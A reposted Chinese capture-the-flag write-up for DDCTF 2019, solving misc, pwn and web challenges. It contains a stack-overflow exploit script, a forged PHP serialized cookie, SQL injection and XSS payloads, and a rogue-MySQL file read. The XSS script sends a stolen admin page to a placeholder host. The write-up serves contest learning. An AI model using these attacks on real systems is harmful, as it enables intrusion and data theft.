记录一些ctf杂项思路2

MISC

原创: ChaMd5 ChaMd5安全团队

转载到自己博客学习

真-签到题

看公告:
DDCTF{return DDCTF::get(2019)->flagOf(0);}

北京地铁

stegsolve查看图片,在RBG的lsb中通道最低位看到了隐藏的base64

隐藏的base64

解密后是16bytes不可见字符,官方提示AES的ecb模式加密,很显然这个是密文,hint3提示我们关键信息在图上,看到可疑位置(有点ps人工涂鸦痕迹):

16bytes不可见字符

密钥weigongcun,不足位补\x00,即得flag:

1
2
3
4
5
6
from Crypto.Cipher import AES
k="iKk/Ju3vu4wOnssdIaUSrg=="
k=k.decode("base64")
kirin=AES.new("weigongcun\x00\x00\x00\x00\x00\x00",AES.MODE_ECB)
print kirin.decrypt(k)
#DDCTF{CD*Q23&0}

MulTzor

看题目名称猜测multiple+xor,直接脚本爆破xor,爆破了几位心态崩了(位数太少,而且太慢),没跑出来,用xortool工具尝试:

img

(最高频率字符是我做的时候从a-z最后空格试过来的),这个密钥其实有一位错误,不过直接用flag格式DDCTF修正即可,解密:

1
2
3
4
5
6
7
8
9
10
# -*- coding: UTF-8 *-*
key="38708d2a29ff535d9e3f20f85b40df3c3fab465b9a731ce55b54923279e85b4397362be25c54df2020f8465692733ce5535193363dab465b9a732eee41479a2137ab735f933a3cf8125a91730ee4405f9b730eea4013b61a79ff5d138d3638ef12408a312aff535d8b3a38e71252923c2ce54640df3c3fab7f5c8d203ca6515c9b363dab40529b3a36ab515c923e2ce55b509e2730e45c40df3c3fab465b9a7318f35b40df2336fc57418c732de35347df3b38ef12519a3637ab575d9c3a29e357419a3779fe415a913479ce5c5a983e38ab5f529c3b30e55740d1730de35b40df2a30ee5e579a3779e65b5f962738f94b13963d2dee5e5f96343ce55156df2431e2515bd37338e75d5d98732ee2465bdf2731ea4613992136e6125c8b3b3cf912579a302bf242479a3779ca4a5a8c732bea565a907338e556138b3635ee4241963d2dee40138b2138e5415e96202ae25d5d8c7f79fc5340df3430fd575ddf2731ee125090373ce5535e9a730ce746419e7d79df5a5a8c732eea41139c3c37f85b579a213cef125186732eee41479a2137ab61468f213ce65713be3f35e25757df1036e65f5291373cf91277883a3ee34613bb7d79ce5b409a3d31e445568d732de4125b9e253cab50569a3d79a956569c3a2ae24456dd732de41247973679ca5e5f96363dab445a9c2736f94b1df5590de35713ba3d30ec5f52df3e38e85a5a91362aab45568d3679ea12559e3e30e74b13903579fb5d418b323be757139c3a29e35741df3e38e85a5a91362aab455a8b3b79f95d47902179f851419e3e3be757418c7d79cc5d5c9b7336fb57419e2730e555138f2136e857578a213cf81e138f2136fb5741932a79ee5c5590213aee561fdf2436fe5e57df3b38fd571392323dee1247973679fb5e46983136ea4057df1637e2555e9e7334ea515b963d3cab475d9d213cea59529d3f3ca5127b90243cfd5741d37334e44147df3c3fab465b9a731eee405e9e3d79e65b5f962738f94b13993c2be85740d3732aee51419a2779f85741893a3aee41139e3d3dab515a893a35e2535ddf323eee5c5096362aab465b9e2779fe41569b731ce55b54923279ee5f43933c20ee56138f3c36f9125c8f362bea465a913479fb405c9c363dfe40568c7f79ea5c57df3a2dab45528c732de357409a7329e45d41df232be451569b262bee41138b3b38ff1252933f36fc5757df2731ee1276913a3ee6531392323ae35b5d9a2079ff5d139d3679f957459a212aee1f56913430e557568d363dab535d9b732de357139c3a29e357418c732de412519a732bee5357d15953df5a56df143cf95f52917329e747549d3c38f9561e9a222ce242439a3779ce5c5a983e38ab50569c3234ee127d9e2930ab75568d3e38e54b148c7329f95b5d9c3a29ea5e139c2120fb465cd22020f84656927d79c2461388322aab504190383ce5125186732de35713af3c35e2415bdf143ce557419e3f79d8465299357ef81270962331ee4013bd262bee5346df3a37ab76569c3634e95741df6260b8001fdf2430ff5a138b3b3cab535a9b7336ed12758d3637e85a1e8c2629fb5e5a9a3779e25c479a3f35e2555691303cab5f528b362be2535fdf3c3bff535a91363dab5441903e79ea12749a2134ea5c138c2320a51272df3e36e5465bdf313ced5d419a732de3571390262de940569e3879e45413a83c2be75613a8322bab7b7ad37338ff1252df3036e554568d3637e85713973635ef125d9a322bab65528d2038fc1e138b3b3cab625c933a2ae31270962331ee4013bd262bee5346df2031ea40569b7330ff4113ba3d30ec5f52d2312bee5358963d3eab46569c3b37e243469a2079ea5c57df273ce85a5d903f36ec4b13883a2de31247973679cd4056913031ab535d9b731bf95b47962031a512778a2130e555138b3b3cab75568d3e38e5125a912538f85b5c917336ed1263903f38e5561fdf3036f95713af3c35e2415bdf1030fb5a568d731bfe40569e2679fb57418c3c37e5575fdf243cf957139a2538e847528b363da71245963279d95d5e9e3d30ea1e138b3c79cd405291303cab455b9a213cab465b9a2a79ee41479e3135e2415b9a3779ff5a56df031aab70418a3d36ab415a983d38e74113963d2dee5e5f96343ce55156df202dea465a903d79fc5b4797731ff9575d9c3b79ed5350963f30ff5b568c732afe424390212da512608a303aee4140992635ab515c90233cf95347963c37ab535e903d3eab465b9a7309e45e568c7f79ff5a56df152bee5c50977f79ea5c57df2731ee12718d3a2de2415bdf322dab705f9a273ae35e56867309ea4058df3036e5465a91263cef1246912730e712798a3d3cab030acb6375ab455b9a3d79cd405291303cab41468d213ce556568d363dab465cdf2731ee12749a2134ea5c40d15953cd405c92732de35b40df313cec5b5d913a37ec1e138b3b3cab7041962730f85a13b83c2fee405d923637ff127090373cab535d9b731af2425b9a2179d8515b903c35ab1a74bc751ad81b139e2779c95e568b3031e7574adf0338f959139d2630e746138a2379ea5c139a2b2dee5c4096253cab514186232dea5c52932a2de251139c3229ea505a933a2df21c13b63d30ff5b52933f20a71247973679ef57508d2a29ff5b5c91732eea4113923230e55e4adf3c3fab7e4699272eea54559a7371cc5741923237ab535a8d733fe440509a7a79ea5c57df3279ed5744df1b3cee4013d7143cf95f52917338f95f4ad67334ee41409e343cf81e139e2079ff5a56df182be257548c3e38f95b5d9a7371cc5741923237ab5c52892a70ab575e8f3f36f25757df3e2ce85a13923c2bee12409a302cf957138f2136e857578a213cf81255902179fe415a913479ce5c5a983e38a51272933237ab66468d3a37ec1e139e731aea5f518d3a3dec5713aa3d30fd57418c3a2df2125e9e2731ee5f528b3a3ae2535ddf3237ef125f903430e85b52917f79fb405c893a3dee561392263ae3125c99732de35713902130ec5b5d9e3f79ff5a5a913830e555138b3b38ff125f9a3779ff5d138b3b3cab56568c3a3ee5125c99732de357139c2120fb4652913235f2465a9c3235ab505c92313cab5f529c3b30e55740df2731ea461388362bee125a91202df9475e9a3d2dea5e13963d79ee445691272cea5e5f86733bf95752943a37ec1247973679e553459e3f79ce5c5a983e38a5127b90243cfd5741d3732de35713b42130ee554092322be25c56df3a37ff405c9b263aee56139e3d79ce5c5a983e38ab44568d2030e45c13883a2de31252df3536fe404797732be4465c8d733fe4401396272aab671e9d3c38ff411fdf213cf8475f8b3a37ec125a917338ab4241903f36e555569b7329ee405a903779fc5a5691732de357409a7334ee41409e343cf81250902635ef125d902779e957139b363af94b438b363da51264962731ab465b9a733aea42478a213cab5d55df213ce757459e3d2dab515a8f3b3cf912589a2a2aab535d9b732de357138a203cab5d55df3e2ce85a1399322aff5741df060aab7c52892a79e95d5e9d362aa712419a342ce75341d3732bea425a9b732bee5357963d3eab5d55df0674e95d528b7334ee41409e343cf812419a202ce65757d15953df5a56df3535ea5513962063ab7677bc071ff002579c3638b806069d326dbd040bcf3169e90101cc3761ea0a02cf656db8570a82"
key=key.decode("hex")
ans=""
k="23\xffSY\x8b"
for i in range(len(key)):
ans+=chr(ord(key[i])^ord(k[i%len(k)]))
print ans
#the last line of input:
#The flag is: DDCTF{0dcea345ba46680b0b323d8a810643e9}

[PWN] strike

首先其读入name时不存在00截断,而且保存在栈内,所以很容易想到利用栈内原有数据leak:

1
2
3
4
printf("Enter username: ");
v2 = fileno(stream);
read(v2, &buf, 0x40u);
return fprintf(a2, "Hello %s", &buf);

第二点,在判断长度时使用了符号数,但是读取时是无符号数,直接输入负数即可导致后面栈溢出(程序没有canary保护):

1
2
3
4
5
6
7
8
9
nbytes = sub_804862D();
if ( (signed int)nbytes > 63 )
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);

不过直接覆盖为one_gadget发现会crash,gdb追踪发现其的返回方式是:

1
2
lea     esp, [ecx-4]
retn

我们需要覆盖栈中保存ecx的位置为我们输入的one_gadget位置
很容易想到盲打,覆盖保存ecx的位置最低位为\x00,这样原本ret的地方就会上移,但是因为只覆盖了最低位,所以会很大概率落到我们的前面的输入里,只要在栈里布置一片one_gadget,即可get shell:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#context.log_level="debug"

p=remote("116.85.48.105",5005)
p.sendafter("username: ","aaaa"*6)
p.recvuntil("aaaa"*6)
leak=u32(p.recv(4))-0x5f6bb
payload=p32(leak+0x5f065)*17+"\x00"
p.sendlineafter("password: ","-1")
p.sendafter(": ",payload)
p.interactive()

Wireshark

首先看http流,发现主要是访问了一个图库和脚本网站:

img

提取出其中的几张图片,主要是其中一张name为intersting的和一张钥匙,将钥匙图片修改文件头的图片高度看到下面有东西:

img

前往http包url的地址:
http://tools.jb51.net/aideddesign/img_add_info
解密其他的png,其中有一张可以解密出字符串:

1
flag+AHs-44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D+AH0-

中间hex解密即得flag:

1
2
>>> "44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D".decode("hex")
'DDCTF{xofDdkeSu7qs5ADCQRVGm5FE6axhES47}'

联盟决策大会

题目很清楚是Shamir秘密分享方案,因为:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协议,组1的1、2、4,组2的3、4、5分别进行解密,而后再将解密数据按照组1,2进行解密即可,这里注意计算拉格朗日差值多项式取模的时候相当于乘以分母对p的乘法逆元:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from libnum import invmod

p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
key1 =0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
key2 =0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
key3 =0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7
key4=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
key5=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
key6 =0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5

def calc(x,y,a):
ans=0
for i in range(len(y)):
tmp1=1
tmp2=1
for j in range(len(y)):
if i !=j:
tmp1*=(a-x[j])
tmp2*=(x[i]-x[j])
ans +=(tmp1*y[i]*invmod(tmp2,p))%p
return ans%p
x=[1,2,4]
y=[key1,key2,key3]
k1=calc(x,y,0)%p
x=[3,4,5]
y=[key4,key5,key6]
k2=calc(x,y,0)%p
x=[1,2]
y=[k1,k2]
print hex(calc(x,y,0)%p)[2:-1].decode("hex")
#output:DDCTF{nYrpbcscdNgqX63IdtnkLrq9FQvwfa2f}

伪-声纹锁

首先题目脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- encoding: utf-8 -*-
# written in python 3.6
__author__ = 'garzon'

import cmath
import librosa # v0.6.2, maybe ffmpeg is needed as backend
import numpy as np # v1.15.4
import sys
from PIL import Image # Pillow v5.4.1

if sys.version[0] == '3':
xrange = range
def _range_wrapper(*args):
return list(xrange(*args))
range = _range_wrapper

window_size = 2048
step_size = 100
max_lim = 0.15
f_ubound = 2000
f_bins = 150
sr = 15000

def transform_x(x, f_ubound=f_ubound, f_bins=f_bins):
freqs = np.logspace(np.log10(20), np.log10(f_ubound), f_bins)
seqs = []
for f in freqs:
seq = []
d = cmath.exp(-2j * cmath.pi * f / sr)
coeff = 1
for t in xrange(len(x)):
seq.append(x[t] * coeff)
coeff *= d
seqs.append(seq)
sums = []
for seq in seqs:
X = [sum(seq[:window_size])/window_size]
for t in xrange(step_size, len(x), step_size):
X.append(X[-1]-sum(seq[t-step_size:t])/window_size)
if t+window_size-step_size < len(x): X[-1] += sum(seq[t+window_size-step_size:t+window_size])/window_size
sums.append(X)
return freqs, np.array(sums)

def calc_diff(x, spec):
f, x = transform_x(x)
if x.shape != spec.shape: return 999
diff = 0
for i in xrange(x.shape[0]):
xx = np.abs(x[i])
xx = np.round(linear_map(xx, np.min(xx), np.max(xx), 0, 255)).astype(np.uint8)
sp = np.abs(spec[i])
sp = np.round(linear_map(sp, np.min(sp), np.max(sp), 0, 255)).astype(np.uint8)
diff += np.linalg.norm(xx-sp)
return diff/x.shape[0]/x.shape[1]

def linear_map(v, old_dbound, old_ubound, new_dbound, new_ubound):
return (v-old_dbound)*1.0/(old_ubound-old_dbound)*(new_ubound-new_dbound) + new_dbound

def image_to_array(img):
img_arr = linear_map(np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3), 0, 255, -max_lim, max_lim)
return img_arr[:, :, 1] + img_arr[:, :, 2] * 1j

if __name__ == '__main__':
if len(sys.argv) <= 1:
print('usage: python3 voice_lock.py <path_to_your_voice.wav>')
exit()
data, sr = librosa.load(sys.argv[1], sr=sr)
C_fingerprint = image_to_array(Image.open('fingerprint.png'))
print('please wait...')
sqr_diff = calc_diff(data, C_fingerprint)
print('sqr diff =', sqr_diff)
if sqr_diff < 3.0:
print('access granted, congratulations!')
else:
print('access denied')

大致流程,从图片中获取隐藏的数据,对应到-max_lim-max_lim域而后与短时傅里叶变换后的音频数据进行比较,整体求范数,最后<3.0则通过验证
傅里叶变换后的数据可以直接通过image_to_array可以拿到,我们需要对数据求逆获得原始音频数据而后利用librosa.output.write_wav保存输出,首先想到的是librosa原生求短时傅里叶函数istft,设置好hop_length,window和窗口大小win_length,求出数据保存,失败了,猜测是窗口函数或者题目实现的原因,自己写逆函数对每组数据windows进行逆傅里叶变换(我也不知道这样理解对不对,and有木有可以直接用原生解的方法??):

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import cmath
import librosa # v0.6.2, maybe ffmpeg is needed as backend
import numpy as np # v1.15.4
import sys
from PIL import Image # Pillow v5.4.1
import code
window_size = 2048
step_size = 100
max_lim = 0.15
f_ubound = 2000
f_bins = 150
sr = 15000
def linear_map(v, old_dbound, old_ubound, new_dbound, new_ubound):
return (v-old_dbound)*1.0/(old_ubound-old_dbound)*(new_ubound-new_dbound) + new_dbound
def image_to_array(img):
img_arr = linear_map(np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3), 0, 255, -max_lim, max_lim)
return img_arr[:, :, 1] + img_arr[:, :, 2] * 1j
if __name__ == '__main__':
C_fingerprint = image_to_array(Image.open('fingerprint.png'))
freqs = np.logspace(np.log10(20), np.log10(2000), 150)
data=[]
for i in range(987):
for j in range(100):
final_num=0
for k in range(150):
tmp=i*100+j
tmp2=C_fingerprint[k][i]
tmp3=cmath.exp(2j*cmath.pi*tmp*freqs[k]/15000)#
final_num+=tmp2*tmp3
data.append(final_num)
data = np.array(data).astype(np.float32)#something wrong??
librosa.output.write_wav('kirin.wav', data,sr=17000)

音频大致听出有字母,提交主办方后通过。

Web

滴~

观察jpg参数发现:其是文件名hex编码后+两次base64,因此想到存在任意文件读,读到index.php,发现无法绕过,文件开头存在一个url,打开是个博客。

在其他文章看一下,发现vim退出产生swp那一篇,发现了practice.txt.swp(坑)。

然后就常规变量覆盖,uid=&k=,拿到了flag

WEB 签到题

包里传入didictf_username那个头,拿到源码。

审计一下思路很清晰,sprintf的格式化字符串拿到泄露的key,然后构造反序列化,析构时读文件,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
Class Application {
var $path = '....//config/flag.txt';
}
$userdata = array(
'session_id' => 'sessionid',
'ip_address' => 'ip',
'user_agent' => '',
'user_data' => new Application(),
);
$cookiedata = serialize($userdata);
$cookiedata = urlencode($cookiedata) . md5('EzblrbNS' . $cookiedata);
echo $cookiedata;
?>

Upload-IMG

试了几个方法无法绕过,猜测后端应该是进行了GD二次渲染。参考文章:
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
生成一张图片,只要像他说的,把payload放在scan header块之后即可,传上去再下载,就免去看lib版本的问题,再传上去,回显即得到flag。

homebrew event loop

审计,存在直接get_flag方法但是禁用,流程核心在trigger_event方法,在execute_event_loop方法里有eval,果断尝试%23,成功截断

最后利用截断来调用trigger_event执行buy_handler两次,即可将flag返回到session中

1
action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1

拿到session,b64解不开,在github搜到一个解密脚本:

1
https://github.com/sql3t0/shellterlabsCTF/blob/a956831690132b3e9b48439424f8bfe52be088c1/tools/session_cookie_manager_flask.py

直接decode再解base64即可看到flag:

img

欢迎报名DDCTF

备注处xss,img发现能发出请求,网上找到一段读html的payload:

1
2
3
4
5
6
7
8
9
10
11
12
#<script src='http://your_ip/1.js'></script>

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://ip/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php",true);
xmlhttp.send();

找到了接口位置
<a_target="_blank"__href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php">
id参数,尝试注入,sleep和bool都不行,题目环境比较乱,最后union直接出结果。

1
/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,ctf_value,3,4,5%20from%20ctfdb.ctf_fhmHRPL5%23

大吉大利,今晚吃鸡~

注册进去,购买功能无法直接购买(余额不足),猜测又是逻辑或溢出或多线程。
尝试发现价格为2^32时存在溢出,无需余额支付就能购买,这样便一边申请账号购买,一边开一个账号刷入即可,不知道是不是我脚本问题,到最后返回json成功也不能降低,返回json存在data时才会减少,虽然后期减少的慢,不过一直跑着脚本,最后成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import time
ans=[]
for i in range(5000,5100):
url="http://117.51.147.155:5050/ctf/api/register?name=kirin%sa&password=12345678" %i
r=requests.get(url)
url="http://117.51.147.155:5050/ctf/api/login?name=kirin%sa&password=12345678" %i
print url
time.sleep(0.1)
r=requests.get(url)
cookie=r.headers['Set-Cookie'].replace(" Path=/, ","").replace("; Path=/","")
header={
"Host": "117.51.147.155:5050",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv\":6\"6.0) Gecko/20100101 Firefox/66.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
'Cookie':cookie,
"Upgrade-Insecure-Requests": "1"}
url2="http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
print url2
r2=requests.get(url2,headers=header)
time.sleep(0.1)
bill_id=r2.json()['data'][0]['bill_id']
url3="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s" %bill_id
print url3
r3=requests.get(url3,headers=header)
l=r3.json()['data'][0]
time.sleep(0.2)
header={
"Host": "117.51.147.155:5050",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv\":6\"6.0) Gecko/20100101 Firefox/66.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
'Cookie':'user_name=kir; REVEL_SESSION=702e139613872d0e2a5278f03345bae4',
"Upgrade-Insecure-Requests": "1"}
url="http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s" %(str(l['your_id']),l['your_ticket'])
print url
r=requests.get(url,headers=header)
print r.json()
time.sleep(0.2)

mysql弱口令

提供了一个接口和文件,文件运行在服务器,接口用于访问服务器上的mysql,想到mysql的一个连接漏洞:https://github.com/allyshka/Rogue-MySql-Server
但是运行后无法收到请求,提示没有mysql服务,重新观察agent.py,看到判断服务过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()

ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result

这时候我们result.append(‘mysqld’),此时再次在服务器伪造server,发现成功连接,并造成任意文件读。
/root/.bash_history下发现/home/dc2-user/ctf_web_2/app/main/views.py
看到提示:

# flag in mysql curl@localhost database:security table:flag
各种读之后,想到可以直接读库文件:/var/lib/mysql/security/flag.idb拿到flag

-------------本文结束感谢您的阅读-------------
如有疑问或需要技术讨论,请发邮件到 zlem0n@foxmail.com